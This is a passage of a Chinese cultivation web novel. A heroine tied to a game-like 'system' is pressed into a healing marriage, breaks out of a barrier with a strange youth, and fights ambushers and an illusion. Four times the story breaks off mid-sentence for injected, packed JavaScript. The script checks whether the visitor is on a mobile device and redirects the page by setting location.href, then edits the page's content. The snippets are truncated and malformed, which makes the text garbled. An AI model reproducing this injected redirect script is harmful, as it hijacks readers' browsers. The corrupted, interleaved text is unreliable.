侍女端着托盘,不解道:“姑娘,此话怎讲?” “这衣服可是给我穿的?” “回姑娘,是的。” “但是为什么是这身衣服呢?” 侍女又疑惑道:“姑娘,你马上就要和公子成婚啦,再不换衣服,都要错过良辰吉时了。” * 两名侍女退了出去,带上了门。 先前的男子坐在桌前,和崔羽落面面相觑。 见崔羽落沉默不语,他有些尴尬地笑道:“姑娘,先前我说的那些话,你有什么疑问吗?” “我想我们之间大概是有什么误解,”崔羽落有些焦急,“唉,怪我方才急着……没有问清楚。” 见她有些懊恼的样子,男子挠了挠头:“没有没有,我方才也没有说明白。是这样的,我家公子确实是前些日子受了重伤,然后我们也确实需要一位如您一般健康茁壮的姑娘。” “你家公子受了重伤,为什么要找个姑娘成婚?就算是为了方便照顾他,也大可找一些其他人。” 男子咳了两声,嘴里嘟囔了几声“都没给我交代清楚”之类的话,长舒一口气道:“这个……主要是因为情况比较特殊,找些寻常的下人去服侍的话不太合适。” “不太合适?” “姑娘可曾听过——”男子顿了顿,似是有些难以启齿。 崔羽落没等来下文,追问道:“什么?” 男子压低声音,吐出二字。 “双修。” 心中在“时间不多了,今天活力值不达标又得扣除生命值”和“现在生命值很高,要不就让它扣一点生命值吧”之间摇摆的崔羽落听到“双修”二字,只觉大脑白了白,先前考虑的内容顷刻如受惊的鸭子般飞得不见踪迹。 她盯了门板片刻,缓缓道:“没听过。” 那男子却耳根有些红:“嗯……修炼之术分很多种,有一人便可完成的,也有多人方可完成的。而双修,顾名思义,则是需要两人一同完成的。” 崔羽落听着他的解释,默默在脑海中抓回了飞走的鸭子,觉得扣除一些生命值也没什么大不了。 “哎呀,”男子忽而拍了拍手,“就是两个人一起练功嘛!有什么复杂的!都怪那些写话本的人,总是把双修描述得那么难以启齿。” “那为什么这个双修之人,得是一个身体健壮之人呢?” “因为,那个人的体质有些特殊,身弱之人与之双修怕是极易损伤经脉。不过,”男子目光灼灼地看着崔羽落,“姑娘体质极佳,若能与我家公子双修,于姑娘的修为提升,定能助益良多。” “当真?” “当真。” 崔羽落沉吟道:“但我对你家公子,还有你,都没有任何了解,如何能够相信你们?” 男子又从怀中拿出一张纸。 崔羽落看到纸,觉得有些头疼。所幸男子并未直接把纸递给她让她自己看,而是伸手将那张纸放于二人之间,用另一只手指着其上的一行行字。 “姑娘你看,这上面写着我家公子的姓名籍贯以及生辰八字。不过这不是重点,重点是这末尾的内容。” 崔羽落的目光随着他的手指下移。他所指的地方,是一行字,以及在最末,是一个图章。 “玄昭门横苍长老慕容随二月初七书。” 男子仔细地看了看图章:“姑娘大概不认识这图章,但你瞧,这中间的水波纹,便是玄昭一门的标识。而这图章,则是横苍长老的私印。” 崔羽落愣了愣,不知道怎么接话。 男子却认真地从怀中拿出一块玉牌,将正面展示给崔羽落:“先前事务繁杂,我头脑也不甚清楚,还未介绍自己。如今将前因后果悉数告知,还望姑娘——” 他声音涩了涩,却没能继续说出话来。崔羽落看着他微变的神色,心道:唉,由它扣吧,反正生命值还很多。 “——总之,姑娘若有什么不满意的,尽可与我说。力之所至,当尽力为之。” 崔羽落看着他有些湿润的眼睛,心中仍有一堆问题。 谁知这位还没讲清前因后果,反倒是自己先进入状态,被他心中的不知什么往事给触动了。 两人干坐良久,那男子似是调整好了情绪,平静道:“在下名为季回澜,乃玄昭门的一名微不足道的外门弟子。我资质平庸,又不善言辞,从小到大一直独来独往。随着年岁增长,同门的弟子们渐渐形成了一些小的——” 他思考了一会儿,继续道:“帮派。虽然不是很确切,但我也想不出更合适的词,姑娘莫怪。我资质平庸又比较孤僻,有时就会被那些同门欺压。” 崔羽落静静地听他讲述,见他顿了顿,低低笑了一声:“这些都不重要。我要说的是直到我遇到了公子,这一切才开始改变。” “他是横苍长老游历时带回玄昭门的,在被带回来之前,他一直在四处流浪。”季回澜再次停顿,“不过这也不是重点。” “他天赋极高,自从被横苍长老收为弟子,便进步神速,一日千里,年仅十二岁的时候,就已成为仙门传说中的术法奇才。而我遇到他的时候,他便是十二岁。” 他垂下眼,笑了笑:“不过这还不是重点。” 崔羽落跟着他,无声地笑了笑,没有催促。 “几个月前仙魔大战,公子在那一战中受了重伤。离得很远,我并没有看到具体场面,我只看到魔宗人多势众,他站在诛魔大阵中间全力维持着阵法不破。但当时仙门弟子多数都去了其他方位,魔宗便趁虚而入。” “然后法阵坍塌了,他被反噬,受了很重的伤。更糟糕的是,他被魔宗的人抓了去,在地牢里受尽折磨,前一天才被玄昭门的人解救出来。” “若姑娘能与他成婚,并一同双修以助他恢复,我必将不胜感激,姑娘有什么需求,我都会尽力而为。” 季回澜微微躬身:“但若姑娘不愿,那也不强求,这个乾坤袋里有足够的灵石,足够姑娘离开山谷并快活地过一段时间日子。” * 崔羽落看着关上的门,扫过桌上形容精致的乾坤袋,叹了一声。 距离下一日还有约三个小时。季回澜给了她一个时辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380823|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的考虑时间。 她干坐了一会儿,猛然想起自己先前在魔宗地牢也受了重伤,便自行检查了一下身体。 ——之前几乎贯穿半个后背的剑伤,如今只剩一点浅淡的疤痕。手指抚摸上去竟也没有凹凸不平之处,所触到的肌肤已然光滑如前。 她暗暗感慨:修真界的伤药就是好用。 转念又想:也不知昨天系统所说的增益里面有没有包含提升恢复能力。 思及系统,她又头疼了起来。她兜兜转转地到了床边,鞋子没脱便趴在床上。片刻后却忽然弹了起来,快步走到门口。 “知啦”一声推开门,眼见院内月朗星稀,树木摇曳,她却奇异地平静了下来。 站在门口呆了一会儿,崔羽落心道:还是跑一会儿吧。 随后她出了门,踏入院子里。 正如季回澜先前所说,整座院落位于一处山谷。抬眼望去,两侧山坡上林木成海,在月光下愈显静谧。而不远处灵力流动,显然又是一处结界。但这结界在一片世外桃源般的风光中,并不显得有丝毫突兀,反而如琉璃一般点缀在山水之间,平添一丝灵动。 风水宝地。 脑海中冒出了这个词,崔羽落心一乱,迈开脚步,跑了起来。 她越跑越快,夹杂着草木清香的凉风拂过耳畔,使她因运动微微发热的身躯没有那么燥/热。 拐过一个弯,忽然有女子的交流声传来。 “公子现在如何了?” “正在卧床休息。”那声音忽而低了下去,“公子现在情况不太妙,也难怪长老要找个身强的女子与他成婚。” “怎么?他不是受了重伤灵脉尽毁,才要找个女子与他双修疗伤吗?” “是啊,但你不怎么去他那个屋,所以不知道,他回来之后,不知为何灵力乱窜,稍微靠近一些就会被他误伤呢。” “谁知道到魔宗一趟,灵脉有没有被魔气染上。莫非……他那控制不住的灵力,和魔宗有关?” “之前在玄昭门,不就有人说他的体质有问题么。先前修仙也算是抑制了些那戾气,如今受了重伤控制不住了,可不得伤到别人。” “哎,所以才要找个结实一点的女子去吸掉他的戾气,寻常女子怕是半天不到就要昏倒过去了。” 崔羽落站在原地,那两名女子走近,看到她的身影,明显地一惊。 她平静地问:“所以,找个强壮的女子,是因为抗揍,不会被打成重伤,对吗?” 侍女抿了抿嘴唇,像是经过了一番思考,终于答道:“回姑娘,是的。” 崔羽落压低声音,和善地笑笑:“没事的,姐姐们,和我说说嘛,他的伤和戾气到底是怎么一回事。” 侍女便大胆地说:“前几年,修真界有个传说,那便是玄昭门出了个术法天才,十年磨一剑,霜刃未曾试。但谁知前些日子仙魔大战,他终于小试锋芒,却什么作用都没起,便叫魔宗打成了重伤,还被抓走了。” 另一个侍女补充道:“近日修真界口风一转,先前的传说如今听来只觉嘲讽,昔日的天才俨然已沦为了笑柄。” 5. 夜游 听着侍女离去的脚步声,崔羽落在原地呆了呆,最终像是下了决心似的,转身向侍女所说的季回澜住处走去。 她站在夜空下,深呼吸几次,抬手敲了敲屋门。木门在远处的树叶沙沙声里“咚咚”地响了几下,显得有些空洞。 季回澜很快开了门,看到她,很是惊讶,但很快便笑道:“姑娘,你想好啦?” “还没有。我只是有一些问题想要问清楚。” 季回澜引她走入房间,在桌前落了座:“你问吧。” 桌子上摆放着几个倒扣着的杯子,不远处的床铺没有动过的痕迹,而季回澜衣衫整齐,似是刚刚才回到房间。 崔羽落收回了目光。 心想着“他那戾气是怎么一回事,找人成婚是不是为了压制他的戾气”怎样开口更礼貌一些,嘴上却已说出了别的话。 “那个……你家公子找人成婚,只是为了找个人与他双修疗伤吗?” 季回澜略微思考,答道:“双修疗伤不假,但其实吧……找人成婚,也并非是他自己的意思。” “那是其他人的意思?” “确实如此。其实在那次仙魔大战之前,他一直在仙门当中负有盛名,毕竟年少成名,之后又一直潜心修炼和钻研术法,又是一贯严苛的横苍长老的关门弟子,听上去就很厉害是不是?” 崔羽落点点头:“确实。感觉很厉害的样子。” 季回澜笑笑:“是啊,但负有盛名的同时,免不了被许多人挑剔。比如就总是有人说,他鲜少出门,其实是早已江郎才尽,盛名之下其实难副,怕被人揭穿,所以才天天躲在门派里。更有甚者,有人说他十二岁一战成名的那一次,本就是抢了其他人的功劳。” “嗯……站得高了,被很多人看着,确实会有人盼着他忽然掉下去。” “是啊,然后就是前些日子的仙魔大战了。他被反噬受了重伤,又被魔宗掳了去,从这时就开始有人说他是因为心虚,才自个儿跑掉了。至于被魔宗掳走,只是玄昭门挽尊的借口。” 季回澜笑了笑,神情有些苦涩。 “然后就忽然冒出来很多人,开始就他被打成重伤这事肆意嘲讽,说他雨点大雷声小,一直被玄昭门天材地宝地养着,被一堆称赞的话供着,结果也就那样,十年磨一剑,刚出就被折。” 崔羽落心想:这……虽然有点惨,但确实有点塌房的感觉。 “然后玄昭门当时也没有回应什么,这也不好回应,只能悄悄地派人去魔宗找,也找着了,还顺带着救下了一些被魔宗抓走的人。” 崔羽落有些困惑:“为什么说……不好回应?” 季回澜耸耸肩:“怎么回应呢?要么就是说确实是他近年来懈怠了,不够努力,辜负了一众仙门同道的期盼,今后一定会好好管束,让门中弟子都好好练功。要么就是说,哎呀,那是个误会,大家看错了,被打成重伤抓走的不是他,而是其他弟子。至于他本人,其实已经金盆洗手退隐江湖,找人结婚生子,去过‘采菊东篱下悠然见南山’的日子了。为什么之前大家不知道呢?当然是因为他低调啊,高调地宣布金盆洗手和没洗差不多。” “你方才说,当时没有回应,意思是后来回应了?” 季回澜点头道:“是。后来回应了,但具体那些长老议论了些什么,我也没法知道。再后来就是他被救出来了,要和你成婚。” ——这是不是有些跳跃? “所以,玄昭门回应的是,他已经金盆洗手归隐田园,还准备和人成婚生——”她卡了卡,又继续说,“是么?” “是这样。不过,有一个地方不太准确。” “哪个地方?” “不是‘准备和人成婚’,而是已经成婚。” “已经?这两个有什么区别吗?” “准备成婚,就是说还没有举办婚礼啊,叫他们知道了,还得装模作样地发个请帖邀请一下仙门百家。已经成婚的话,自然就不用再办一场婚宴了。”季回澜轻松道,“这意思是说,他已经低调地和人成了婚,并且低调地和妻子过上了快活日子,算是彻底不想和仙门百家再有什么往来了。” 崔羽落点点头道:“确实,这样一来更能体现出金盆洗手的诚意。高调宣布金盆洗手的人往往都不能如愿,看戏的人很多,告诉别人金盆洗手就像是在催促事情快来找上自己一样。” “姑娘聪慧。” 崔羽落意识到谈话有些跑偏,索性直接发问:“听说他被救回之后,体内灵力有些特殊,是么?” “不瞒姑娘,确是如此。” 她正色道:“会控制不住地往外发出戾气,是么?” 季回澜看了看她,回道:“……是。” “这戾气会伤人,是么?” “是也不是。”季回澜顿了顿,“这戾气看似凶险,实则不然。身弱之人会受伤,但身强之人不太会。” “不太会?”崔羽落敛眸笑了笑,却笑不达眼底,“季公子,若是一个人会控制不住地伤到别人,你们要做的,应该是去把他治好,让他不再伤人,而不是找一个耐造打不死的人由他伤。再强壮之人也是会受伤的,若是看她好得快、很难死,就让她去当沙袋,那可太……不把人当人了。” 季回澜听到这番话,一时竟说不出别的措辞。 崔羽落站起身,凉凉一笑:“还望你们尽快找个合适的大夫,既可使他不再伤人,也能让他那一身伤好得快一些。”说罢便出了门。 到了门外,补充了一句:“那戾气解决好之前,不要去祸害其他姑娘了。”便带上门走进了夜色。 离那间房远了些,她稳步走着,抬眼望了望夜色中暗芒流转的结界,心想:方才一时激动,忘记让季回澜把我放出去了,但我那话又说得有点严重,这会儿若是回头再去和他说什么,未免有些尴尬。 她心中已有了打算。 她将系统唤了出来,说道:“现在生命值是100,能否消耗生命值,短暂获取一些法力?要求不高,能助我到结界外就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380824|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。” 【因宿主今日活力值还未达标,不能进行此操作。】 “可是那天我这样做的时候,活力值不也没达标吗?” 【那天是宿主绑定系统的第一天,第一次进行交换无需其他条件。】 “……” 【温馨提示,距离下一日还有一个时辰,当前活力值为60,还未达标,请宿主继续努力。】 【此外,绑定系统第三天,对宿主开放信誉值系统,当前信誉值为100。】 ——三天。她竟然从昨天一昏昏到了今天晚上么? 【若是有一天活力值未达标,将会根据具体情况扣除信誉值,信誉值低于100时不能进行交换生命值操作,信誉值低于95时无法根据前一日活力值获得增益,信誉值低于90时将剥夺宿主的主动权,安排一些强制性任务,未能完成会受到对应惩罚。】 【如有更多问题请提问,系统竭诚为你服务。】 崔羽落叹了一声,迈动步伐开始跑步。她并不熟悉周围环境,便挑着适合跑步的路跑着。 她不清楚现在是什么时令,此刻夜风微凉,送来阵阵花香,颇为舒适惬意。 她步履不停。不知过了多久,她身上出了一层薄汗,双腿有了些不明显的沉重感。 她缓了缓步伐,伸手捞了把长发,使后颈露在夜风里:“现在的活力值是多少?” 【回宿主,当前活力值80,请宿主再接再厉。】 走了两步后,感觉再次提速有些吃力,崔羽落索性快步走了起来。又过了不知多久,她听到一阵水声。 她有些好奇,便循着声音跑了过去,果然看到一条清浅的小溪,在月光下缓缓流淌。两畔被溪水润湿的石头泛着光泽,与随风晃动的青草相映成趣。 顿了脚步,她心里却浮上一丝奇怪的感觉。于是她不再向前,在离小溪有着两三丈的地方,抬眼而望。 却见华光流转,在晴朗夜空下不断变幻着光泽,和在远处所见到的大不相同。 结界就在眼前。 【恭喜宿主,活力值已达标。】 看着眼前的结界,崔羽落却犹豫了起来。 ——要不要跑呢?季回澜给的待遇确实不错,她出去之后又没有个地方能安顿,不如……先待一段时间试试? 反正有系统加持,那个人也不能强迫她什么。 她闭上眼,抬手触碰到结界,感受着其中的灵力涌动,心有些乱。 ——卷钱跑路么?听上去……好像有点像骗婚。 她深吸一口气,那不知道名字的花香却又随着夜风飘了过来。 ——骗婚还是跑路呢? 她睁开眼,再次看向眼前的结界,她的目光却越过了它,落在了远处溪流上。 ——还是跑吧。 她再次抬手,抚上那无形的边界。 忽而有个声音自身后响起。这声音如山间溪流,清冽悦耳,还带着一丝熟悉感。 “要跑么?” 6. 暗香 崔羽落闻声转头,见一颗树下静静坐着个人。 树上洁白的小花随微凉的夜风簌簌而动,身着墨色衣衫的少年斜倚着树干,盘膝坐在一块深色的平整石头之上。他眉眼沉静,不知在此地坐了多久。 月光皎洁,暗香浮动,那袭深衣反而显得有些格格不入。 ——装神弄鬼。 崔羽落这样想着,口中回道:“和你有什么关系?” 那人笑了笑:“没有关系就不能问问么?” “呃……可以是可以,”崔羽落弯了弯眉眼,“只是我也可以不回答。” 说罢,她询问系统:“现在我可否能借用一些法力呢?” 【可以。】 “那你知道怎样可以出去么?除了直接把它打碎,”崔羽落想了想,“或者能辅助我搞一个传送阵之类的东西,不用太厉害的法术,够我一个人出去就行。” 【可以,交易完成后宿主跟随我的提示完成就可以。】 【再次确认,是否确认交易?】 “是。” 【选择消耗的生命值,请宿主在10~100之间选择一个值,注意该数值需为十的倍数。】 “不用很多,10吧,”她又道,“不,这次要20,应该足够我出去吧?” 【足够。】 崔羽落站在原地,增加的灵力开始在四肢百骸流转。 蓦地,她嘴角涌出血丝,身体如同被抽走了活力般变得虚弱无比。她只觉身躯沉重如铁,不受控制地下落,像是要坠入深渊。 四周漆黑黯淡,寂静得叫人发疯。 气息滞在胸口,不上不下。而她感到自己身在空中,动弹不得。 不知坠落了多久,四周渐渐浮出一点色彩。那色彩渐渐割破了黑暗,占满了她的视线。 她竭力去分辨那些光影,又在辨认出颜色的那一刻如坠冰窟。 是暗红。 暗红在脑海中逐渐清晰,化成或已经凝固或正在喷涌的鲜血。周遭的寂静被骤然打破,利刃穿透人/体的声音此起彼伏地响起,而人的嘶喊声成了底色,诡谲喑哑。 血腥气缓缓蔓延,她却猛地从虚空中抽出一把刀。 刀光斩断暗夜,血色无影无踪。 崔羽落睁开眼,发现自己正蹲在地上,一只手上有少量血迹。 她皱眉向下看去,见一片草叶上沾着血,边缘颇为锋利。 余光捕捉到景象,她惊诧地抬眼,眼前林海无边,群山染翠,溪流潺潺奔向远方。 ——结界消失了。 ——扣二十点生命值怎么这么大动静? 【绑定系统第一天消耗生命值没有副作用,是新手保护机制在生效。交换操作本就含有一定风险,还请宿主慎重考虑。】 【另,恭喜宿主,达成“大力出奇迹”成就。】 呆了呆,她后知后觉地想:“结界……我打破的?” 身后传来那人的声音:“你要去哪?” 崔羽落转身,见那人仍坐在树下,一副看热闹的模样。 “外面。” “外面?” “怎么?”崔羽落挑眉道,“你也要逃出去么?” “我?”那人的面容沉在暗处,看不清神情,“是啊。” “噢,你在这里坐着,就是在看有没有人能打开这结界,然后再前人栽树后人乘凉,跟着跑出去。”崔羽落擦了擦嘴角血迹,“但你为什么要出去?” “被关久了的人,总是想要跑出去的。” “走吧。” 崔羽落在原地站着,见那人不动,说道:“你不是要出去么?快走吧,一会儿万一有人追出来,现在走还能跑远一些。” 那人终于动了。他缓缓起身,抖了抖衣袍下摆落上的碎花,迈步走了过来。 他步伐有些不自然的僵硬,像是受了伤还没好全的样子。 随着步伐移动,崔羽落看清了那人的脸。 她愣在原地,直到那人走到她身边,方才回了神。这人年轻的面容很是清俊,像是鲜少见到阳光似的,显出一种冷然的苍白。 三日前地牢里助她脱困的少年、修罗场内接住她的仙门弟子,忽而与眼前之人重合。 二人隔着一段距离,并肩缓步而行,足下草叶沙沙作响。 “……是你?” “是我。” “你出去之后要去哪?” 少年想了想:“四处走走。” “你对这附近熟悉么?” “不熟悉。” “噢,”崔羽落照顾他的速度,有意地放慢了步伐,但那少年看上去仍有些吃力。 沿着溪流走了很久,目之所及仍是丛林,崔羽落留意着那少年的动作,再次唤出了系统。 “我刚到这个世界三天,其中一天一直在睡觉,不知道有没有新手福利?除了提升法力的。” 【宿主具体指哪一方面呢?】 “比如指引我怎样走可以快速到达附近的城镇,”崔羽落无奈道,“总得先打打工挣点生活费吧。” 她忽然又想起季回澜之前所说的给她足够的盘缠,叹了口气,觉得自己有些鲁莽。 【可以的,宿主先沿着小溪向前走,到了需要变换方向的地方,我会提醒宿主正确的方向。】 两人一路无言,直到眼前的树木更加密集,崔羽落出声道:“月黑风高,你有没有觉得……” 林木沙沙作响,少年见她刻意卖关子,顺着她问道:“觉得什么?” “很适合做一件事。” “什么事?” 崔羽落笑了笑,语气轻快地说:“孤男寡女的,你说说是什么事?” 少年不答话,崔羽落侧目看了看他,略微加快速度向密林中走去。 “嗖——” 从暗处骤然射出一支箭,箭上光芒耀眼,将静谧夜色撕裂开来,所过之处留下一条灼热的裂缝。 与此同时,更多的箭矢自那缓缓变大的裂缝中窜出,它们整齐划一,直指向同一个目标。 目标便是崔羽落。 数不清的箭矢一时与崔羽落近在咫尺,而那一马当先的光箭距她的咽喉仅有不到一尺。 少年站在一旁,不待他作出任何反应,无数盈满杀气的箭已然与他错身而过。甚至有几支箭在将要刺中他的时候诡异地拐了个弯,直直冲向自己真正的目标。 眼前少女的身形却忽然模糊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380825|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 他只觉身旁的夜风骤然改变了流向,像是凭空出现了漩涡,将一切没有意识的东西吸附过去。 地上的草叶和花瓣随之腾起,向同一个方向狂奔而去,他不由自主地抬手掩面,暗香拂过,竟是也要被那漩涡尽数吸走。 风浪渐渐平息,他抬眼望去,见到劲风卷着花叶,在夜色中向同一个方向环绕,崔羽落站在中心,长发随风舞动,面容却看不真切。 而那些箭矢不知何时落在地上,成漩涡状碎落一圈又一圈,宛如静止的涟漪。 崔羽落远远地看了他一眼。 随后她不清不楚地说了句话。 “你瞧,阴谋诡计在绝对的战斗力面前根本不算什么。” 他看见她的发丝渐渐落下,与此同时那些流转的风变了方向,挟着细碎的草木与落花卷向了另一个地方。 那边却有了些动静,刀剑出鞘的声音自暗处乍现,几十个黑衣人向二人突袭而来。更远处传来一声弓响,巨大的箭已在弦上蕴满了灵力。 崔羽落动作极快,转眼那些黑衣人已被击退。而那支箭已然射出,一声破空的箭鸣之后,少年看到它已被崔羽落捏在手中。 她拿着那支已变得暗淡的箭,转头对他说:“月黑风高,孤男寡女,正适合并肩作战。” 暗中却有人无声地笑了笑,随后身躯在原地忽然消失,只余手中弓弦上一抹稍纵即逝的余光。 崔羽落看着眼前突然出现的男子,目光下移,看到了已在她咽喉划出一道血印的弓弦。 “我这样一个无门无派的小女子,何必劳烦这么多人埋伏在此处——” 血顺着脖颈缓缓流下,她只觉说话困难。 她忍着疼痛,一字一句道:“我劝你……还是放开我,否则……我就杀了他。” 她动了动手指,一片锋利草叶悬空静止,边缘却沾了新鲜的血迹。血一滴一滴地留下,顺着叶片的纹路落在地上。 血迹的主人正是那少年。 那叶片悬在他颈侧,随崔羽落的手指,又缓缓向前了一毫。 黑衣人顿了顿,盯了她片刻,而后袍袖一卷,与那些被击退的黑衣人一齐遁入了黑夜。 崔羽落按了按脖上的伤处,控制那片草叶落到地上,朝那少年走了几步,颇为抱歉地说:“不好意思啊,只是……他快要割断我的动脉了,我还不想在这荒郊野岭死掉。” 那少年并不答话,崔羽落困惑地再向前一些,却蓦地被一股强悍力道击退了数步。 一惊之下,她瞪大双眼看向那少年。却见他原本平静的眼眸中泛起紫芒,身上衣袍倏然开始猎猎翻动,以他为中心,空中暗光流转,比先前结界上的灵力波动汹涌数倍。 他缓缓抬眼看向崔羽落,眼神冰冷,眸光暴戾如妖邪。 他迈动步伐朝她走来,虽仍有些重伤所致的僵硬,但整个人的气场已与方才全然不同了。 黑色袍袖下,苍白的手逐渐抬起,周遭灵力随之凝聚。 手指靠近嘴边,缺乏血色的唇开合,缥缈的声音很轻—— “寻神救苦酬予愿,无生路上成因果。枷锁何离,生死何知……” “——此心转破,苦海共沦。” 7. 校园 下一瞬,崔羽落发现自己动不了了。她的四肢像是被看不见的丝线死死缠绕,纵使她竭力驱动,也不能挪动分毫。 眼前人越走越近,她被迫面朝着他,与他对视。 周遭声音仿佛随着那几句吟诵消失不见,心跳声和呼吸声在诡异的安静中被无限放大。 她仰头盯着眼前人,只见少年已离她不足三尺。而那双仿佛没有任何情感的眼睛冰冷而纯净,像孤寂清澈的水面。 忽然,她脑海中被放大的呼吸和心跳变得不同了,她仔细辨认,却发现那渐渐变得清晰的声音来自另一颗跳动的心脏。 她缓缓垂下眼,看到对面那袭深衣猎猎翻动,像一片舞动的夜色,而在胸膛的位置,却是一片刺目的荧光,在暗夜中光彩夺目。 身边有风丝丝刮过,她感到了一丝凉意,随后那风竟逐渐大了起来,风声凄厉如鬼怪。 ——风声? 崔羽落倏地抬眼,却发现周围的景象正在飞快地变幻,最后停留在一个静谧安宁的早晨。 但身躯仍被死死束缚住,她只能一动不动地站在一处,被迫地看着眼前的景象。 原本站在她对面的少年不见了踪迹,取而代之的是青葱的树木和平整的道路。 看清了眼前之景的崔羽落陡然一震。 树木之后,竟是林立的高楼和行走的青年男女们。行人身着现代服装,与同伴放松地闲聊,偶尔有几句话传入崔羽落的耳中。 “靠靠靠,早八好像点名了!” “再不走快点,早十的签到也得错过了。” “……” 她竟回到了大学校园。 目光下移,她看到“自己”身穿卫衣和长裤,手中举着智能手机,而从听筒里传来了电话那头人的声音。 她发现自己不能控制“自己”的身体,四肢移动时她没有丝毫感觉,仿佛只是个被困在这幅身躯内的游魂。 “你好,请问是崔女士吗?你昨天在我这里中了500万奖金,今天方便的话请带齐东西……” “……” 下一秒,眼前景象又变了。 她仍穿着那身衣服,走在校园的人行道上,兜里的手机忽然震动起来。她看到“自己”接起电话,然后听到了一个熟悉的声音。 “姐姐,你今天在学校么?今天是你的生日,我和爸妈刚刚下飞机,有没有感到惊喜啊……” 她有些头晕目眩,然后她看着“自己”打开了微信列表。最上面的一行,是一个标着“2”的红点,和一个她很熟悉的昵称。 点开聊天框,映入眼中的是一个写着“生日快乐,开心每一天”的红包和一条消息。 “吃好喝好玩好,希望我的宝贝女儿永远快乐。” 红包和信息来自联系人“上善若水”。 …… 片刻之后,她发现自己终于能动了,脚踏实地的感觉出现在她的脑海中。此刻的她正站在实验室内,身上穿着雪白的实验服。 眼前的实验台上是一只小白鼠。 前方传来一个中年女人温和但冷静的声音:“今天我们要做的是小鼠的胸腹腔解剖实验……” 她愣愣地站在原地。 ——又穿越了么? 她不知道那节课是怎么结束的,她茫然走在楼梯上,身边人潮涌动,人声鼎沸,像一条欢快的大河。 河流渐渐入了海,晚高峰的校园,她被人潮带动着向一个方向而去。 她心想:“果然是饭点了。” 傍晚的天空呈现出柔和的橙色,余晖染红了流云,使天空如一幅梦幻的油画。 崔羽落却忽然停步。 ——不对。 ——这不是真实的。 这个念头在她脑海中逐渐清晰了起来。 “难道是前面那人的几句话,使我进到了一个幻境当中?” 思及此处,她咬了咬下唇,却见身旁一名同学骑着车,为了避开另一侧的电动车,猛然朝她这边扭动车把。 共享单车从她身体内穿了过去。 她低头看着那个女生撑在地上的脚,无声地笑了笑。 随后她尝试运功,四肢百骸内的灵力缓缓流动,最终聚集在心口。 她骤然发力。 灵力轰然炸开,她只觉心口剧痛,便眼前一黑,失了意识。 不知过了多久,她张开双眼,发现自己又回到了先前的那片丛林。她仍保持着先前受困的姿态,那少年也以先前的姿态站在她对面。 眼前人的周围仍是暗光流转,但那暗光此刻看来凶险无比,正在激烈地流窜。 仔细观察了片刻,崔羽落发现它们似是在攻击自己。 但不知是身躯被束缚的原因还是系统增益还未消退的原因,她并没有被击中的感觉。 她仍然被牢牢困住,无法活动自己的身躯。但随着那些攒动的灵力渐渐地减缓了攻势,周围的光芒渐渐暗淡了下去,眼前少年身上浮动的光影也渐渐地褪色。 她注视着眼前人的眼睛,那双眼仍是冷漠无比,但其中的光芒正在消退。 暴戾和冷漠褪去,那双变得有些暗淡的眼睛显出一分空洞的寂然。 过了不知多久,那些在空中旋舞的灵力终于平息,眼前的少年静默地站着,像一尊没有灵魂的雕塑。 她感受到了自己的心脏规律地跳动了起来,血液缓缓流过全身,在有些冰凉的躯体内奔流不息,她的身躯逐渐变得温热和鲜活。 她感受着足下略微发软的泥土,周围草木和虫鸟的声音流入她的耳中。夜风拂过耳畔,将一缕发丝吹到她脸颊上。脸上有些发痒,使她忍不住用手将它拨到了一边。 她恢复了身体的控制权。 缓缓将双手握成拳,又缓缓松开,她心想:真奇妙啊。 退后一步,她发现眼前人似乎还没有恢复意识。 她抬起手想要拍拍少年,但又觉得二人并不熟悉,此举怕是有些不妥。于是她只是将手在他眼前晃了晃,口中唤了一声:“你……能听见我说话么?” 忽然,那只手被攥住了。 那只手如同浸在了冰水里,她只觉握住自己的像一个寒夜里快被冻死的人。 她看着眼前的少年,却见他抬手握着她,周围又忽然凝聚起灵力。灵力缓缓流转,又缓缓停下。 但它不是要消散无踪,而是再次聚集攻势,将要攻向某个人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380826|168469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 心道一句“有完没完”,崔羽落抬起手。 一记极其利落的手刀后,少年闭眼倒地。 周围流动的灵气忽然消失不见了。 